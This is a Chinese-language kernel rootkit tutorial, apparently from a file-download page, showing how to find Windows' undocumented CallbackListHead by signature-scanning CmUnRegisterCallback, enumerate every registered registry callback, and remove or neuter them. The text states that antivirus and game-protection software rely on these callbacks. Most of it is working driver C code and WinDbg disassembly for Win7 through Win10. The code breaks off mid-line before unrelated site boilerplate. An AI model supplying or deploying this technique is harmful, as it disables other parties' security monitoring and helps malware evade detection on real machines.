# 枚举并删除系统上CmRegisterCallback回调
# 背景
我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
本文要介绍的是枚举并删除系统上 CmRegisterCallback 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
# 实现原理
我们注册的注册表回调,会存储在一个表头为 CallbackListHead 的双向链表里,它存储着系统里所有 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
经过使用 WinDbg 逆向,总结得出 CallbackListHead 双向链表指向的数据结构为:
```c++
typedef struct _CM_NOTIFY_ENTRY
{
LIST_ENTRY ListEntryHead;
ULONG UnKnown1;
ULONG UnKnown2;
LARGE_INTEGER Cookie;
PVOID Context;
PVOID Function;
}CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY;
```
其中,ListEntryHead 中存储着下一个或者上一个 CM_NOTIFY_ENTRY 结构体指针的信息,我们通过遍历这个双向链表,就可以枚举出 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
## CallbackListHead 表头地址的获取
CallbackListHead 表头,可以从内核导出函数 CmUnRegisterCallback 中获取。 我们借助 WinDbg 帮助我们逆向 CmUnRegisterCallback 内核函数,下面是 Win10 64 位系统上 CmUnRegisterCallback 函数的逆向代码:
```c++
nt!CmUnRegisterCallback+0x44:
fffff800`24b17dc8 4533c0 xor r8d,r8d
fffff800`24b17dcb 488d542438 lea rdx,[rsp+38h]
fffff800`24b17dd0 488d0d39f5dbff lea rcx,[nt!CallbackListHead (fffff800`248d7310)]
```
由上面的代码,我们可以通过在内核函数 CmUnRegisterCallback 中扫描内存特征码,在 32 位系统下,可以直接定位得到 CallbackListHead 表头的地址;在 64 位下,可以获取 CallbackListHead 表头的偏移,从而根据偏移计算出地址。但是,特征码在不同系统上也会不同,下面是我使用 WinDbg 逆向各个版本系统上的函数,总结的特征码:
| | Win7 | win8.1 | win10 |
| ---- | ------ | ------ | ------ |
| 32 位 | BF | BE | B9 |
| 64 位 | 488D54 | 488D0D | 488D0D |
上述中,Win7 64 位的逆向信息如下:
```c++
nt!CmUnRegisterCallback+0xc6:
fffff800`042b7856 4533c0 xor r8d,r8d
fffff800`042b7859 488d542420 lea rdx,[rsp+20h]
fffff800`042b785e 488d0d6b69dcff lea rcx,[nt!CallbackListHead (fffff800`0407e1d0)]
```
特征码我们选用的是 488D54,因为特征码 488D0D 在出现 CallbackListHead 内存之前就多次出现,为了特征码唯一,所以,选取 488D54 特征码来定位。
总的来说,我们直接通过扫描 CmUnRegisterCallback 函数内存,就可获取 CallbackListHead 表头地址了。其中,特征码的确定就变得至关重要。
## 删除回调
我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:
- 可以直接调用 CmUnRegisterCallback 函数,传入回调 Cookie,即可删除回调
- 修改 CallbackListHead 双向链表中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数
- 修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作
# 编码实现
## 遍历回调
```c++
// 遍历回调
BOOLEAN EnumCallback()
{
ULONG i = 0;
PVOID pCallbackListHeadAddress = NULL;
PCM_NOTIFY_ENTRY pNotifyEntry = NULL;
// 获取 CallbackListHead 链表地址
pCallbackListHeadAddress = GetCallbackListHead();
if (NULL == pCallbackListHeadAddress)
{
DbgPrint("GetCallbackListHead Error!\n");
return FALSE;
}
DbgPrint("pCallbackListHeadAddress=0x%p\n", pCallbackListHeadAddress);
// 开始遍历双向链表
pNotifyEntry = (PCM_NOTIFY_ENTRY)pCallbackListHeadAddress;
do
{
// 判断 pNotifyEntry 地址是否有效
if (FALSE == MmIsAddressValid(pNotifyEntry))
{
break;
}
// 判断 回调函数 地址是否有效
if (MmIsAddressValid(pNotifyEntry->Function))
{
// 显示
DbgPrint("CallbackFunction=0x%p, Cookie=0x%I64X\n", pNotifyEntry->Function, pNotifyEntry->Cookie.QuadPart);
}
// 获取下一链表
pNotifyEntry = (PCM_NOTIFY_ENTRY)pNotifyEntry->ListEntryHead.Flink;
} while (pCallbackListHeadAddress != (PVOID)pNotifyEntry);
return TRUE;
}
```
## 移除回调
```c++
// 移除回调
NTSTATUS RemoveCallback(LARGE_INTEGER Cookie)
{
NTSTATUS status = CmUnRegisterCallback(Cookie);
if (!NT_SUCCESS(status))
{
ShowError("CmUnRegisterCallback", status);
}
return status;
}
```
## 获取 CallbackListHead 链表地址
```c++
// 获取 CallbackListHead 链表地址
PVOID GetCallbackListHead()
{
PVOID pCallbackListHeadAddress = NULL;
RTL_OSVERSIONINFOW osInfo = { 0 };
UCHAR pSpecialData[50] = { 0 };
ULONG ulSpecialDataSize = 0;
LONG lSpecialOffset = 0;
// 获取系统版本信息, 判断系统版本
RtlGetVersion(&osInfo);
if (6 == osInfo.dwMajorVersion)
{
if (1 == osInfo.dwMinorVersion)
{
// Win7
# ifdef _WIN64
// 64 位
// 488D54
pSpecialData[0] = 0x48;
pSpecialData[1] = 0x8D;
pSpecialData[2] = 0x54;
ulSpecialDataSize = 3;
lSpecialOffset = 5;
# else
// 32 位
// BF
pSpecialData[0] = 0xBF;
ulSpecialDataSize = 1;
# endif
}
else if (2 == osInfo.dwMinorVersion)
{
// Win8
# ifdef _WIN64
// 64 位
# else
// 32 位
# endif
}
else if (3 == osInfo.dwMinorVersion)
{
// Win8.1
# ifdef _WIN64
// 64 位
// 488D0D
pSpecialData[0] = 0x48;
pSpecialData[1] = 0x8D;
pSpecialData[2] = 0x0D;
ulSpecialDataSize = 3;
# else
// 32 位
// BE
pSpecialData[0] = 0xBE;
ulSpecialDataSize = 1;
# endif
}
}
else if (10 == osInfo.dwMajorVersion)
{
// Win10
# ifdef _WIN64
// 64 位
// 488D0D
pSpecialData[0] = 0x48;
pSpecialData[1] = 0x8D;
pSpecialData[2] = 0x0D;
ulSpecialDataSize = 3;
# else
// 32 位
// B9
pSpecialData[0] = 0xB9;
ulSpecialDataSize = 1;
# endif
}
// 根据特征码获取地址
pCallbackListHeadAddress = SearchCallbackListHead(pSpecialData, ulSpecialDataSize, lSpecialOffset);
return pCallbackListHeadAddress;
}
```
## 根据特征码获取 CallbackListHead 链表地址
```c++
// 根据特征码获取 CallbackListHead 链表地址
PVOID SearchCallbackListHead(PUCHAR pSpecialData, ULONG ulSpecialDataSize, LONG lSpecialOffset)
{
UNICODE_STRING ustrFuncName;
PVOID pAddress = NULL;
LONG lOffset = 0;
PVOID pCmUnRegisterCallback = NULL;
PVOID pCallbackListHead = NULL;
// 先获取 CmUnRegisterCallback 函数地址
RtlInitUnicodeString(&ustrFuncName, L"CmUnRegisterCallback");
pCmUnRegisterCallback = MmGetSystemRoutineAddress(&ustrFuncName);
if (NULL == pCmUnRegisterCallback)
{
ShowError("MmGetSystemRoutineAddress", 0);
return pCallbackListHead;
}
// 然后, 查找 PspSetCreateProcessNotifyRoutine 函数地址
pAddress = SearchMemory(pCmUnRegisterCallback,
(PVOID)((PUCHAR)pCmUnRegisterCallback + 0xFF),
pSpecialData, ulSpecialDataSize);
if (NULL == pAddress)
{
ShowError("SearchMemory", 0);
return pCallbackListHead;
}
// 获取地址
# ifdef _WIN64
// 64 位先获取偏移, 再计算地址
lOffset = *(PLONG)((PUCHAR)pAddress + lSpecialOffset);
pCallbackListHead = (PVOID)((PUCHAR)pAddress + lSpecialOffset + sizeof(LONG
没有合适的资源?快使用搜索试试~ 我知道了~
精选_枚举并删除系统上CmRegisterCallback回调_源码打包
共16个文件
sys:4个
h:2个
c:2个
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
0 下载量 111 浏览量
2022-03-12
08:05:10
上传
评论
收藏 31KB ZIP 举报
温馨提示
枚举并删除系统上CmRegisterCallback回调
资源推荐
资源详情
资源评论
收起资源包目录
44148531163734195.zip (16个子文件)
callback-cmregistercallback
src
Win7Debug
CmRegisterCallback_Enum_Remove_Test.sys 5KB
CmRegisterCallback_Enum_Remove_Test
Driver.c 725B
CmRegisterCallback_Enum_Remove_Test.vcxproj.user 658B
CmRegisterCallback_Enum_Remove_Test.vcxproj.filters 2KB
EnumRemove.c 4KB
CmRegisterCallback_Enum_Remove_Test.inf 413B
CmRegisterCallback_Enum_Remove_Test.vcxproj 12KB
EnumRemove.h 713B
Driver.h 183B
Win8.1Debug
CmRegisterCallback_Enum_Remove_Test.sys 5KB
x64
Win7Debug
CmRegisterCallback_Enum_Remove_Test.sys 6KB
Win8.1Debug
CmRegisterCallback_Enum_Remove_Test.sys 6KB
CmRegisterCallback_Enum_Remove_Test.v12.suo 32KB
CmRegisterCallback_Enum_Remove_Test.sln 4KB
LICENSE 1KB
README.md 34KB
共 16 条
- 1
资源评论
工具盒子
- 粉丝: 60
- 资源: 1313
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功